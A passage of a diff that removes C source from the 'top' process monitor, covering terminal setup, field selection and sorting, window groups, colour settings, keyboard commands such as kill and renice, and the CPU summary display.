-#else
-	setupterm(NULL, STDOUT_FILENO, NULL);
-#endif
-	// our part...
-	if (!Batch) {
-		if (-1 == tcgetattr(STDIN_FILENO, &Savedtty))
-			std_err("failed tty get");
-		newtty = Savedtty;
-		newtty.c_lflag &= ~(ICANON | ECHO);
-		newtty.c_oflag &= ~(TAB3);
-		newtty.c_cc[VMIN] = 1;
-		newtty.c_cc[VTIME] = 0;
-
-		Ttychanged = 1;
-		if (-1 == tcsetattr(STDIN_FILENO, TCSAFLUSH, &newtty)) {
-			putp(Cap_clr_scr);
-			std_err(fmtmk("failed tty set: %s", strerror(errno)));
-		}
-		tcgetattr(STDIN_FILENO, &Rawtty);
-#ifndef STDOUT_IOLBF
-		// thanks anyway stdio, but we'll manage buffering at the frame level...
-		setbuffer(stdout, Stdout_buf, sizeof(Stdout_buf));
-#endif
-		putp(Cap_clr_scr);
-		fflush(stdout);
-	}
-}
-
-/*######  Field Selection/Ordering routines  #############################*/
-
-	/*
-	 * Display each field represented in the Fields Table along with its
-	 * description and mark (with a leading asterisk) fields associated
-	 * with upper case letter(s) in the passed 'fields string'.
-	 *
-	 * After all fields have been displayed, some extra explanatory
-	 * text may also be output */
-static void display_fields(const char *fields, const char *xtra)
-{
-#define yRSVD 3
-	const char *p;
-	int i, cmax = Screen_cols / 2, rmax = Screen_rows - yRSVD;
-
-	/* we're relying on callers to first clear the screen and thus avoid screen
-	   flicker if they're too lazy to handle their own asterisk (*) logic */
-	putp(Curwin->cap_bold);
-	for (i = 0; fields[i]; ++i) {
-		const FLD_t *f = ft_get_ptr(FT_NEW_fmt, fields[i]);
-		int b = isupper(fields[i]);
-
-		if (!f)
-			continue;	// hey, should be std_err!
-		for (p = f->head; ' ' == *p; ++p)	// advance past any leading spaces
-			;
-		PUTT("%s%s%c %c: %-10s = %s",
-		     tg2((i / rmax) * cmax, (i % rmax) + yRSVD)
-		     , b ? Curwin->cap_bold : Cap_norm, b ? '*' : ' ', fields[i]
-		     , p, f->desc);
-	}
-	if (xtra) {
-		putp(Curwin->capclr_rownorm);
-		while ((p = strchr(xtra, '\n'))) {
-			++i;
-			PUTT("%s%.*s",
-			     tg2((i / rmax) * cmax, (i % rmax) + yRSVD)
-			     , (int)(p - xtra)
-			     , xtra);
-			xtra = ++p;
-		}
-	}
-	putp(Caps_off);
-
-#undef yRSVD
-}
-
-	/*
-	 * Change order of displayed fields. */
-static void fields_reorder(void)
-{
-	static const char prompt[] =
-	    "Upper case letter moves field left, lower case right";
-	char c, *p;
-	int i;
-
-	putp(Cap_clr_scr);
-	putp(Cap_curs_huge);
-	for (;;) {
-		display_fields(Curwin->rc.fieldscur, FIELDS_xtra);
-		show_special(1,
-			     fmtmk(FIELDS_current, Cap_home,
-				   Curwin->rc.fieldscur, Curwin->grpname,
-				   prompt));
-		chin(0, &c, 1);
-		if (!ft_get_ptr(FT_NEW_fmt, c))
-			break;
-		i = toupper(c) - 'A';
-		if (((p = strchr(Curwin->rc.fieldscur, i + 'A')))
-		    || ((p = strchr(Curwin->rc.fieldscur, i + 'a')))) {
-			if (isupper(c))
-				p--;
-			if (('\0' != p[1]) && (p >= Curwin->rc.fieldscur)) {
-				c = p[0];
-				p[0] = p[1];
-				p[1] = c;
-			}
-		}
-	}
-	putp(Cap_curs_norm);
-}
-
-	/*
-	 * Select sort field. */
-static void fields_sort(void)
-{
-	static const char prompt[] =
-	    "Select sort field via field letter, type any other key to return";
-	char phoney[PFLAGSSIZ];
-	char c, *p;
-	int i, x;
-
-	strcpy(phoney, NUL_FIELDS);
-	x = i = Curwin->rc.sortindx;
-	putp(Cap_clr_scr);
-	putp(Cap_curs_huge);
-	for (;;) {
-		p = phoney + i;
-		*p = toupper(*p);
-		display_fields(phoney, SORT_xtra);
-		show_special(1,
-			     fmtmk(SORT_fields, Cap_home, *p, Curwin->grpname,
-				   prompt));
-		chin(0, &c, 1);
-		if (!ft_get_ptr(FT_NEW_fmt, c))
-			break;
-		i = toupper(c) - 'A';
-		*p = tolower(*p);
-		x = i;
-	}
-	if ((p = strchr(Curwin->rc.fieldscur, x + 'a')))
-		*p = x + 'A';
-	Curwin->rc.sortindx = x;
-	putp(Cap_curs_norm);
-}
-
-	/*
-	 * Toggle displayed fields. */
-static void fields_toggle(void)
-{
-	static const char prompt[] =
-	    "Toggle fields via field letter, type any other key to return";
-	char c, *p;
-	int i;
-
-	putp(Cap_clr_scr);
-	putp(Cap_curs_huge);
-	for (;;) {
-		display_fields(Curwin->rc.fieldscur, FIELDS_xtra);
-		show_special(1,
-			     fmtmk(FIELDS_current, Cap_home,
-				   Curwin->rc.fieldscur, Curwin->grpname,
-				   prompt));
-		chin(0, &c, 1);
-		if (!ft_get_ptr(FT_NEW_fmt, c))
-			break;
-		i = toupper(c) - 'A';
-		if ((p = strchr(Curwin->rc.fieldscur, i + 'A')))
-			*p = i + 'a';
-		else if ((p = strchr(Curwin->rc.fieldscur, i + 'a')))
-			*p = i + 'A';
-	}
-	putp(Cap_curs_norm);
-}
-
-/*######  Windows/Field Groups support  #################################*/
-
-	/*
-	 * For each of the four windows:
-	 *    1) Set the number of fields/columns to display
-	 *    2) Create the field columns heading
-	 *    3) Set maximum cmdline length, if command lines are in use
-	 * In the process, the required PROC_FILLxxx flags will be rebuilt! */
-static void reframewins(void)
-{
-	WIN_t *w;
-	char *s;
-	const char *h;
-	int i, needpsdb = 0;
-
-// Frames_libflags = 0;  // should be called only when it's zero
-// Frames_maxcmdln = 0;  // to become largest from up to 4 windows, if visible
-	w = Curwin;
-	do {
-		if (!Rc.mode_altscr || CHKw(w, VISIBLE_tsk)) {
-			// build window's procflags array and establish a tentative maxpflgs
-			for (i = 0, w->maxpflgs = 0; w->rc.fieldscur[i]; i++) {
-				if (isupper(w->rc.fieldscur[i]))
-					w->procflags[w->maxpflgs++] =
-					    w->rc.fieldscur[i] - 'A';
-			}
-
-			/* build a preliminary columns header not to exceed screen width
-			   while accounting for a possible leading window number */
-			*(s = w->columnhdr) = '\0';
-			if (Rc.mode_altscr)
-				s = scat(s, " ");
-			for (i = 0; i < w->maxpflgs; i++) {
-				h = Fieldstab[w->procflags[i]].head;
-				// oops, won't fit -- we're outta here...
-				if (Screen_cols <
-				    (int)((s - w->columnhdr) + strlen(h)))
-					break;
-				s = scat(s, h);
-			}
-
-			/* establish the final maxpflgs and prepare to grow the command column
-			   heading via maxcmdln - it may be a fib if P_CMD wasn't encountered,
-			   but that's ok because it won't be displayed anyway */
-			w->maxpflgs = i;
-			w->maxcmdln = Screen_cols
-			    - (strlen(w->columnhdr) -
-			       strlen(Fieldstab[P_CMD].head)) - 1;
-
-			/* finally, we can build the true run-time columns header, format the
-			   command column heading, if P_CMD is really being displayed, and
-			   rebuild the all-important PROC_FILLxxx flags that will be used
-			   until/if we're we're called again */
-			*(s = w->columnhdr) = '\0';
-			if (Rc.mode_altscr)
-				s = scat(s, fmtmk("%d", w->winnum));
-			for (i = 0; i < w->maxpflgs; i++) {
-				h = Fieldstab[w->procflags[i]].head;
-				if (P_WCH == w->procflags[i])
-					needpsdb = 1;
-				if (P_CMD == w->procflags[i]) {
-					s = scat(s,
-						 fmtmk(Fieldstab[P_CMD].fmts,
-						       w->maxcmdln, w->maxcmdln,
-						       h));
-					if (CHKw(w, Show_CMDLIN)) {
-						Frames_libflags |= L_CMDLINE;
-//                if (w->maxcmdln > Frames_maxcmdln) Frames_maxcmdln = w->maxcmdln;
-					}
-				} else
-					s = scat(s, h);
-				Frames_libflags |=
-				    Fieldstab[w->procflags[i]].lflg;
-			}
-		}
-		if (Rc.mode_altscr)
-			w = w->next;
-	} while (w != Curwin);
-
-	// do we need the kernel symbol table (and is it already open?)
-	if (needpsdb) {
-		if (-1 == No_ksyms) {
-			No_ksyms = 0;
-			if (open_psdb_message(NULL, msg_save))
-				No_ksyms = 1;
-			else
-				PSDBopen = 1;
-		}
-	}
-
-	if (selection_type == 'U')
-		Frames_libflags |= L_status;
-
-	if (Frames_libflags & L_EITHER) {
-		Frames_libflags &= ~L_EITHER;
-		if (!(Frames_libflags & L_stat))
-			Frames_libflags |= L_status;
-	}
-	if (!Frames_libflags)
-		Frames_libflags = L_DEFAULT;
-}
-
-	/*
-	 * Value a window's name and make the associated group name. */
-static void win_names(WIN_t * q, const char *name)
-{
-	sprintf(q->rc.winname, "%.*s", WINNAMSIZ - 1, name);
-	sprintf(q->grpname, "%d:%.*s", q->winnum, WINNAMSIZ - 1, name);
-}
-
-	/*
-	 * Display a window/field group (ie. make it "current"). */
-static void win_select(char ch)
-{
-	static const char prompt[] = "Choose field group (1 - 4)";
-
-	/* if there's no ch, it means we're supporting the external interface,
-	   so we must try to get our own darn ch by begging the user... */
-	if (!ch) {
-		show_pmt(prompt);
-		chin(0, (char *)&ch, 1);
-	}
-	switch (ch) {
-	case 'a':		/* we don't carry 'a' / 'w' in our */
-		Curwin = Curwin->next;	/* pmt - they're here for a good   */
-		break;		/* friend of ours -- wins_colors.  */
-	case 'w':		/* (however those letters work via */
-		Curwin = Curwin->prev;	/* the pmt too but gee, end-loser  */
-		break;		/* should just press the darn key) */
-	case '1':
-	case '2':
-	case '3':
-	case '4':
-		Curwin = &Winstk[ch - '1'];
-		break;
-	}
-}
-
-	/*
-	 * Just warn the user when a command can't be honored. */
-static int win_warn(void)
-{
-	show_msg(fmtmk
-		 ("\aCommand disabled, activate %s with '-' or '_'",
-		  Curwin->grpname));
-	/* we gotta' return false 'cause we're somewhat well known within
-	   macro society, by way of that sassy little tertiary operator... */
-	return 0;
-}
-
-	/*
-	 * Change colors *Helper* function to save/restore settings;
-	 * ensure colors will show; and rebuild the terminfo strings. */
-static void winsclrhlp(WIN_t * q, int save)
-{
-	static int flgssav, summsav, msgssav, headsav, tasksav;
-
-	if (save) {
-		flgssav = q->rc.winflags;
-		summsav = q->rc.summclr;
-		msgssav = q->rc.msgsclr;
-		headsav = q->rc.headclr;
-		tasksav = q->rc.taskclr;
-		SETw(q, Show_COLORS);
-	} else {
-		q->rc.winflags = flgssav;
-		q->rc.summclr = summsav;
-		q->rc.msgsclr = msgssav;
-		q->rc.headclr = headsav;
-		q->rc.taskclr = tasksav;
-	}
-	capsmk(q);
-}
-
-	/*
-	 * Change colors used in display */
-static void wins_colors(void)
-{
-#define kbdABORT  'q'
-#define kbdAPPLY  '\n'
-	int clr = Curwin->rc.taskclr, *pclr = &Curwin->rc.taskclr;
-	char ch, tgt = 'T';
-
-	if (0 >= max_colors) {
-		show_msg("\aNo colors to map!");
-		return;
-	}
-	winsclrhlp(Curwin, 1);
-	putp(Cap_clr_scr);
-	putp(Cap_curs_huge);
-
-	do {
-		putp(Cap_home);
-		/* this string is well above ISO C89's minimum requirements! */
-		show_special(1,
-			     fmtmk(COLOR_help, procps_version, Curwin->grpname,
-				   CHKw(Curwin, View_NOBOLD) ? "On" : "Off",
-				   CHKw(Curwin, Show_COLORS) ? "On" : "Off",
-				   CHKw(Curwin, Show_HIBOLD) ? "On" : "Off",
-				   tgt, clr, Curwin->grpname));
-		chin(0, &ch, 1);
-		switch (ch) {
-		case 'S':
-			pclr = &Curwin->rc.summclr;
-			clr = *pclr;
-			tgt = ch;
-			break;
-		case 'M':
-			pclr = &Curwin->rc.msgsclr;
-			clr = *pclr;
-			tgt = ch;
-			break;
-		case 'H':
-			pclr = &Curwin->rc.headclr;
-			clr = *pclr;
-			tgt = ch;
-			break;
-		case 'T':
-			pclr = &Curwin->rc.taskclr;
-			clr = *pclr;
-			tgt = ch;
-			break;
-		case '0' ... '7':
-			clr = ch - '0';
-			*pclr = clr;
-			break;
-		case 'B':
-			TOGw(Curwin, View_NOBOLD);
-			break;
-		case 'b':
-			TOGw(Curwin, Show_HIBOLD);
-			break;
-		case 'z':
-			TOGw(Curwin, Show_COLORS);
-			break;
-		case 'a':
-		case 'w':
-			win_select(ch);
-			winsclrhlp(Curwin, 1);
-			clr = Curwin->rc.taskclr, pclr = &Curwin->rc.taskclr;
-			tgt = 'T';
-			break;
-		}
-		capsmk(Curwin);
-	} while (kbdAPPLY != ch && kbdABORT != ch);
-
-	if (kbdABORT == ch)
-		winsclrhlp(Curwin, 0);
-	putp(Cap_curs_norm);
-
-#undef kbdABORT
-#undef kbdAPPLY
-}
-
-	/*
-	 * Manipulate flag(s) for all our windows. */
-static void wins_reflag(int what, int flg)
-{
-	WIN_t *w;
-
-	w = Curwin;
-	do {
-		switch (what) {
-		case Flags_TOG:
-			TOGw(w, flg);
-			break;
-		case Flags_SET:	/* Ummmm, i can't find anybody */
-			SETw(w, flg);	/* who uses Flags_set ...      */
-			break;
-		case Flags_OFF:
-			OFFw(w, flg);
-			break;
-		}
-		/* a flag with special significance -- user wants to rebalance
-		   display so we gotta' 'off' one number then force on two flags... */
-		if (EQUWINS_cwo == flg) {
-			w->rc.maxtasks = 0;
-			SETw(w, Show_IDLEPS | VISIBLE_tsk);
-		}
-		w = w->next;
-	} while (w != Curwin);
-}
-
-	/*
-	 * Set the screen dimensions and arrange for the real workhorse.
-	 * (also) catches:
-	 *    SIGWINCH and SIGCONT */
-static void wins_resize(int dont_care_sig)
-{
-	struct winsize wz;
-
-	(void)dont_care_sig;
-	Screen_cols = columns;
-	Screen_rows = lines;
-	if (-1 != (ioctl(STDOUT_FILENO, TIOCGWINSZ, &wz))) {
-		Screen_cols = wz.ws_col;
-		Screen_rows = wz.ws_row;
-	}
-	if (Batch)
-		Screen_rows = MAXINT;
-
-	// we might disappoint some folks (but they'll deserve it)
-	if (SCREENMAX < Screen_cols)
-		Screen_cols = SCREENMAX;
-
-	/* keep our support for output optimization in sync with current reality
-	   note: when we're in Batch mode, we don't really need a Pseudo_scrn and
-	   when not Batch, our buffer will contain 1 extra 'line' since
-	   Msg_row is never represented -- but it's nice to have some space
-	   between us and the great-beyond... */
-	Pseudo_cols = Screen_cols + CLRBUFSIZ + 1;
-	if (Batch)
-		Pseudo_size = ROWBUFSIZ + 1;
-	else
-		Pseudo_size = Pseudo_cols * Screen_rows;
-	Pseudo_scrn = alloc_r(Pseudo_scrn, Pseudo_size);
-
-	// force rebuild of column headers AND libproc/readproc requirements
-	Frames_libflags = 0;
-}
-
-	/*
-	 * Set up the raw/incomplete field group windows --
-	 * they'll be finished off after startup completes.
-	 * [ and very likely that will override most/all of our efforts ]
-	 * [               --- life-is-NOT-fair ---                     ] */
-static void windows_stage1(void)
-{
-	WIN_t *w;
-	int i;
-
-	for (i = 0; i < GROUPSMAX; i++) {
-		w = &Winstk[i];
-		w->winnum = i + 1;
-		w->rc = Rc.win[i];
-		w->captab[0] = Cap_norm;
-		w->captab[1] = Cap_norm;
-		w->captab[2] = w->cap_bold;
-		w->captab[3] = w->capclr_sum;
-		w->captab[4] = w->capclr_msg;
-		w->captab[5] = w->capclr_pmt;
-		w->captab[6] = w->capclr_hdr;
-		w->captab[7] = w->capclr_rowhigh;
-		w->captab[8] = w->capclr_rownorm;
-		w->next = w + 1;
-		w->prev = w - 1;
-		++w;
-	}
-	/* fixup the circular chains... */
-	Winstk[3].next = &Winstk[0];
-	Winstk[0].prev = &Winstk[3];
-	Curwin = Winstk;
-}
-
-	/*
-	 * This guy just completes the field group windows after the
-	 * rcfiles have been read and command line arguments parsed */
-static void windows_stage2(void)
-{
-	int i;
-
-	for (i = 0; i < GROUPSMAX; i++) {
-		win_names(&Winstk[i], Winstk[i].rc.winname);
-		capsmk(&Winstk[i]);
-	}
-	// rely on this next guy to force a call (eventually) to reframewins
-	wins_resize(0);
-}
-
-/*######  Main Screen routines  ##########################################*/
-
-	/*
-	 * Process keyboard input during the main loop */
-static void do_key(unsigned c)
-{
-	// standardized 'secure mode' errors
-	static const char err_secure[] = "\aUnavailable in secure mode";
-#ifdef WARN_NOT_SMP
-	// standardized 'smp' errors
-	static const char err_smp[] = "\aSorry, only 1 cpu detected";
-#endif
-
-	switch (c) {
-	case '1':
-#ifdef WARN_NOT_SMP
-		if (Cpu_tot > 1)
-			TOGw(Curwin, View_CPUSUM);
-		else
-			show_msg(err_smp);
-#else
-		TOGw(Curwin, View_CPUSUM);
-#endif
-		break;
-
-	case 'a':
-		if (Rc.mode_altscr)
-			Curwin = Curwin->next;
-		break;
-
-	case 'A':
-		Rc.mode_altscr = !Rc.mode_altscr;
-		wins_resize(0);
-		break;
-
-	case 'b':
-		if (VIZCHKc) {
-			if (!CHKw(Curwin, Show_HICOLS | Show_HIROWS))
-				show_msg("\aNothing to highlight!");
-			else {
-				TOGw(Curwin, Show_HIBOLD);
-				capsmk(Curwin);
-			}
-		}
-		break;
-
-	case 'B':
-		TOGw(Curwin, View_NOBOLD);
-		capsmk(Curwin);
-		break;
-
-	case 'c':
-		VIZTOGc(Show_CMDLIN);
-		break;
-
-	case 'd':
-	case 's':
-		if (Secure_mode)
-			show_msg(err_secure);
-		else {
-			float tmp =
-			    get_float(fmtmk
-				      ("Change delay from %.1f to",
-				       Rc.delay_time));
-			if (-1 < tmp)
-				Rc.delay_time = tmp;
-		}
-		break;
-
-	case 'f':
-		if (VIZCHKc)
-			fields_toggle();
-		break;
-
-	case 'F':
-	case 'O':
-		if (VIZCHKc)
-			fields_sort();
-		break;
-
-	case 'g':
-		if (Rc.mode_altscr) {
-			char tmp[GETBUFSIZ];
-			strcpy(tmp,
-			       ask4str(fmtmk
-				       ("Rename window '%s' to (1-3 chars)",
-					Curwin->rc.winname)));
-			if (tmp[0])
-				win_names(Curwin, tmp);
-		}
-		break;
-
-	case 'G':
-		win_select(0);
-		break;
-
-	case 'h':
-	case '?':
-		{
-			char ch;
-			putp(Cap_clr_scr);
-			putp(Cap_curs_huge);
-			/* this string is well above ISO C89's minimum requirements! */
-			show_special(1,
-				     fmtmk(KEYS_help, procps_version,
-					   Curwin->grpname, CHKw(Curwin,
-								 Show_CTIMES) ?
-					   "On" : "Off", Rc.delay_time,
-					   Secure_mode ? "On" : "Off",
-					   Secure_mode ? "" :
-					   KEYS_help_unsecured));
-			chin(0, &ch, 1);
-			if ('?' == ch || 'h' == ch) {
-				do {
-					putp(Cap_clr_scr);
-					show_special(1,
-						     fmtmk(WINDOWS_help,
-							   Curwin->grpname,
-							   Winstk[0].rc.winname,
-							   Winstk[1].rc.winname,
-							   Winstk[2].rc.winname,
-							   Winstk[3].rc.
-							   winname));
-					chin(0, &ch, 1);
-					win_select(ch);
-				} while ('\n' != ch);
-			}
-			putp(Cap_curs_norm);
-		}
-		break;
-
-	case 'i':
-		VIZTOGc(Show_IDLEPS);
-		break;
-
-	case 'I':
-#ifdef WARN_NOT_SMP
-		if (Cpu_tot > 1) {
-			Rc.mode_irixps = !Rc.mode_irixps;
-			show_msg(fmtmk
-				 ("Irix mode %s",
-				  Rc.mode_irixps ? "On" : "Off"));
-		} else
-			show_msg(err_smp);
-#else
-		Rc.mode_irixps = !Rc.mode_irixps;
-		show_msg(fmtmk("Irix mode %s", Rc.mode_irixps ? "On" : "Off"));
-#endif
-		break;
-
-	case 'k':
-		if (Secure_mode) {
-			show_msg(err_secure);
-		} else {
-			int sig, pid = get_int("PID to kill");
-			if (0 < pid) {
-				sig =
-				    signal_name_to_number(ask4str
-							  (fmtmk
-							   ("Kill PID %d with signal [%i]",
-							    pid, DEF_SIGNAL)));
-				if (-1 == sig)
-					sig = DEF_SIGNAL;
-				if (sig && kill(pid, sig))
-					show_msg(fmtmk
-						 ("\aKill of PID '%d' with '%d' failed: %s",
-						  pid, sig, strerror(errno)));
-			}
-		}
-		break;
-
-	case 'l':
-		TOGw(Curwin, View_LOADAV);
-		break;
-
-	case 'm':
-		TOGw(Curwin, View_MEMORY);
-		break;
-
-	case 'n':
-	case '#':
-		if (VIZCHKc) {
-			int num =
-			    get_int(fmtmk
-				    ("Maximum tasks = %d, change to (0 is unlimited)",
-				     Curwin->rc.maxtasks));
-			if (-1 < num)
-				Curwin->rc.maxtasks = num;
-		}
-		break;
-
-	case 'o':
-		if (VIZCHKc)
-			fields_reorder();
-		break;
-
-	case 'q':
-		end_pgm(0);
-
-	case 'r':
-		if (Secure_mode)
-			show_msg(err_secure);
-		else {
-			int val, pid = get_int("PID to renice");
-			if (0 < pid) {
-				val =
-				    get_int(fmtmk
-					    ("Renice PID %d to value", pid));
-				if (setpriority
-				    (PRIO_PROCESS, (unsigned)pid, val))
-					show_msg(fmtmk
-						 ("\aRenice of PID %d to %d failed: %s",
-						  pid, val, strerror(errno)));
-			}
-		}
-		break;
-
-	case 'R':
-		VIZTOGc(Qsrt_NORMAL);
-		break;
-
-	case 'S':
-		if (VIZCHKc) {
-			TOGw(Curwin, Show_CTIMES);
-			show_msg(fmtmk
-				 ("Cumulative time %s",
-				  CHKw(Curwin, Show_CTIMES) ? "On" : "Off"));
-		}
-		break;
-
-	case 't':
-		TOGw(Curwin, View_STATES);
-		break;
-
-//    case 'u':
-//       if (VIZCHKc)
-//          strcpy(Curwin->colusrnam, ask4str("Which user (blank for all)"));
-//       break;
-
-	case 'u':
-//       if (!VIZCHKc) break;
-		do {
-			const char *errmsg;
-			const char *answer;
-			answer = ask4str("Which user (blank for all)");
-			// FIXME: do this better:
-			if (!answer || *answer == '\0' || *answer == '\n'
-			    || *answer == '\r' || *answer == '\t'
-			    || *answer == ' ') {
-				selection_type = 0;
-				selection_uid = -1;
-				break;
-			}
-			errmsg = parse_uid(answer, &selection_uid);
-			if (errmsg) {
-				show_msg(errmsg);
-				// Change settings here? I guess not.
-				break;
-			}
-			selection_type = 'u';
-		} while (0);
-		break;
-
-	case 'U':
-//       if (!VIZCHKc) break;
-		do {
-			const char *errmsg;
-			const char *answer;
-			answer = ask4str("Which user (blank for all)");
-			// FIXME: do this better:
-			if (!answer || *answer == '\0' || *answer == '\n'
-			    || *answer == '\r' || *answer == '\t'
-			    || *answer == ' ') {
-				selection_type = 0;
-				selection_uid = -1;
-				break;
-			}
-			errmsg = parse_uid(answer, &selection_uid);
-			if (errmsg) {
-				show_msg(errmsg);
-				// Change settings here? I guess not.
-				break;
-			}
-			selection_type = 'U';
-		} while (0);
-		break;
-
-	case 'w':
-		if (Rc.mode_altscr)
-			Curwin = Curwin->prev;
-		break;
-
-	case 'W':
-		{
-			const char *err = rc_write_whatever();
-			if (err)
-				show_msg(fmtmk
-					 ("\aFailed '%s' open: %s", Rc_name,
-					  err));
-			else
-				show_msg(fmtmk
-					 ("Wrote configuration to '%s'",
-					  Rc_name));
-		}
-		break;
-
-	case 'x':
-		if (VIZCHKc) {
-			TOGw(Curwin, Show_HICOLS);
-			capsmk(Curwin);
-		}
-		break;
-
-	case 'y':
-		if (VIZCHKc) {
-			TOGw(Curwin, Show_HIROWS);
-			capsmk(Curwin);
-		}
-		break;
-
-	case 'z':
-		if (VIZCHKc) {
-			TOGw(Curwin, Show_COLORS);
-			capsmk(Curwin);
-		}
-		break;
-
-	case 'Z':
-		wins_colors();
-		break;
-
-	case '-':
-		if (Rc.mode_altscr)
-			TOGw(Curwin, VISIBLE_tsk);
-		break;
-
-	case '_':
-		if (Rc.mode_altscr)
-			wins_reflag(Flags_TOG, VISIBLE_tsk);
-		break;
-
-	case '=':
-		Curwin->rc.maxtasks = 0;
-		SETw(Curwin, Show_IDLEPS | VISIBLE_tsk);
-		Monpidsidx = 0;
-		break;
-
-	case '+':
-		if (Rc.mode_altscr)
-			SETw(Curwin, EQUWINS_cwo);
-		break;
-
-	case '<':
-		if (VIZCHKc) {
-			FLG_t *p = Curwin->procflags + Curwin->maxpflgs - 1;
-			while (*p != Curwin->rc.sortindx)
-				--p;
-			if (--p >= Curwin->procflags)
-				Curwin->rc.sortindx = *p;
-		}
-		break;
-
-	case '>':
-		if (VIZCHKc) {
-			FLG_t *p = Curwin->procflags;
-			while (*p != Curwin->rc.sortindx)
-				++p;
-			if (++p < Curwin->procflags + Curwin->maxpflgs)
-				Curwin->rc.sortindx = *p;
-		}
-		break;
-
-	case 'M':		// these keys represent old-top compatability
-	case 'N':		// -- grouped here so that if users could ever
-	case 'P':		// be weaned, we would just whack this part...
-	case 'T':
-		{
-			static struct {
-				const unsigned xkey;
-				const char *xmsg;
-				const FLG_t sort;
-			} xtab[] = {
-				{
-				'M', "Memory", P_MEM,}, {
-				'N', "Numerical", P_PID,}, {
-				'P', "CPU", P_CPU,}, {
-			'T', "Time", P_TM2},};
-			int i;
-			for (i = 0; i < MAXTBL(xtab); ++i)
-				if (c == xtab[i].xkey) {
-					Curwin->rc.sortindx = xtab[i].sort;
-					show_msg(fmtmk
-						 ("%s sort compatibility key honored",
-						  xtab[i].xmsg));
-					break;
-				}
-		}
-		break;
-
-	case '\n':		// just ignore these, they'll have the effect
-	case ' ':		// of refreshing display after waking us up !
-		break;
-
-	default:
-		show_msg("\aUnknown command - try 'h' for help");
-	}
-	/* The following assignment will force a rebuild of all column headers and
-	   the PROC_FILLxxx flags.  It's NOT simply lazy programming.  Here are
-	   some keys that COULD require new column headers and/or libproc flags:
-	   'A' - likely
-	   'c' - likely when !Mode_altscr, maybe when Mode_altscr
-	   'F' - maybe, if new field forced on
-	   'f' - likely
-	   'G' - likely
-	   'O' - maybe, if new field forced on
-	   'o' - maybe, if new field brought into view
-	   'Z' - likely, if 'Curwin' changed when !Mode_altscr
-	   '-' - likely (restricted to Mode_altscr)
-	   '_' - likely (restricted to Mode_altscr)
-	   '=' - maybe, but only when Mode_altscr
-	   '+' - likely (restricted to Mode_altscr)
-	   ( At this point we have a human being involved and so have all the time )
-	   ( in the world.  We can afford a few extra cpu cycles every now & then! )
-	 */
-	Frames_libflags = 0;
-}
-
-	/*
-	 * State display *Helper* function to calc and display the state
-	 * percentages for a single cpu.  In this way, we can support
-	 * the following environments without the usual code bloat.
-	 *    1) single cpu machines
-	 *    2) modest smp boxes with room for each cpu's percentages
-	 *    3) massive smp guys leaving little or no room for process
-	 *       display and thus requiring the cpu summary toggle */
-static void summaryhlp(CPU_t * cpu, const char *pfx)
-{
-	/* we'll trim to zero if we get negative time ticks,
-	   which has happened with some SMP kernels (pre-2.4?) */
-#define TRIMz(x)  ((tz = (SIC_t)(x)) < 0 ? 0 : tz)
-	SIC_t u_frme, s_frme, n_frme, i_frme, w_frme, tot_frme, tz;
-	float scale;
-
-	u_frme = cpu->u - cpu->u_sav;
-	s_frme = cpu->s - cpu->s_sav;
-	n_frme = cpu->n - cpu->n_sav;
-	i_frme = TRIMz(cpu->i - cpu->i_sav);
-	w_frme = cpu->w - cpu->w_sav;
-	tot_frme = u_frme + s_frme + n_frme + i_frme + w_frme;
-	if (1 > tot_frme)
-		tot_frme = 1;
-	scale = 100.0 / (float)tot_frme;
-
-	/* display some kinda' cpu state percentages
-	   (who or what is explained by the passed prefix) */
-	show_special(0,
-		     fmtmk(States_fmts, pfx, (float)u_frme * scale,
-			   (float)s_frme * scale, (float)n_frme * scale,
-			   (float)i_frme * scale, (float)w_frme * scale));
-	if (o_flag)
-		fprintf(outfile,
-			" %s User:%.2f\tSystem:%.2f\tNice:%.2f\t\tIdle:%.2f\tIO-wait:%.2f\n",
-			pfx, (float)u_frme * scale, (float)s_frme * scale,
-			(float)n_frme * scale, (float)i_frme * scale,
-			(float)w_frme * scale);
-	Msg_row += 1;
-
-	// remember for next time around
-	cpu->u_sav = cpu->u;
-	cpu->s_sav = cpu->s;
-	cpu->n_sav = cpu->n;
-	cpu->i_sav = cpu->i;
-	cpu->w_sav = cpu->w;
-
-#undef TRIMz
-}
-
-	/*
-	 * Begin a new frame by:
-	 *    1) Refreshing the all important proc table
-	 *    2) Displaying uptime and load average (maybe)
-	 *    3) Displaying task/cpu states (maybe)
-	 *    4) Displaying memory & swap usage (maybe)
-	 * and then, returning a pointer to the pointers to the proc_t's! */
-static proc_t **summary_show(void)
-{
-	static proc_t **p_table = NULL;
-	static CPU_t *smpcpu = NULL;
-
-	// whoa first time, gotta' prime the pump...
-	if (!p_table) {
-		p_table = procs_refresh(NULL, L_DEFAULT);
-		putp(Cap_clr_scr);
-		sleep(1);
-	} else
-		putp(Batch ? "\n\n" : Cap_home);
-	p_table = procs_refresh(p_table, Frames_libflags);
-
-	/*
-	 ** Display Uptime and Loadavg */
-	if (CHKw(Curwin, View_LOADAV)) {
-		if (!Rc.mode_altscr)
-			show_special(0,
-				     fmtmk(LOADAV_line, Myname,
-					   sprint_uptime()));
-		else
-			show_special(0, fmtmk(CHKw(Curwin, VISIBLE_tsk)
-					      ? LOADAV_line_alt
-					      : LOADAV_line, Curwin->grpname,
-					      sprint_uptime()));
-		Msg_row += 1;
-	}
-
-	/*
-	 ** Display Task and Cpu(s) States */
-
-	if (CHKw(Curwin, View_STATES)) {
-		show_special(0,
-			     fmtmk(STATES_line1, Frame_maxtask, Frame_running,
-				   Frame_sleepin, Frame_stopped,
-				   Frame_zombied));
-		if (o_flag)
-			fprintf(outfile,
-				" MaxTasks:%d\t\tRunningTasks:%d\tSleepingTasks:%d\tStoppedTasks:%d\tZombieTasks:%d\n\n",
-				Frame_maxtask, Frame_running, Frame_sleepin,
-				Frame_stopped, Frame_zombied);
-		Msg_row += 1;
-
-		smpcpu = cpus_refresh(smpcpu);
-
-		if (CHKw(Curwin, View_CPUSUM)) {
-			// display just the 1st /proc/stat line
-			summaryhlp(&smpcpu[Cpu_tot], "Cpu(s):");
-			if (o_flag)
-				fprintf(outfile, "\n");
-		} else {
-			int i;
-			char tmp[SMLBUFSIZ];
-			// display each cpu's states separately
-			for (i = 0; i < Cpu_tot; i++) {
-				snprintf(tmp, sizeof(tmp), " Cpu%-2d:",
-					 Rc.mode_irixps ? i : Cpu_map[i]);
-				summaryhlp(&smpcpu[i], tmp);
-			}
-		}
-	}
-
-	/*
-	 ** Display Memory and Swap stats */
-	meminfo();
-	if (CHKw(Curwin, View_MEMORY)) {
-		show_special(0,
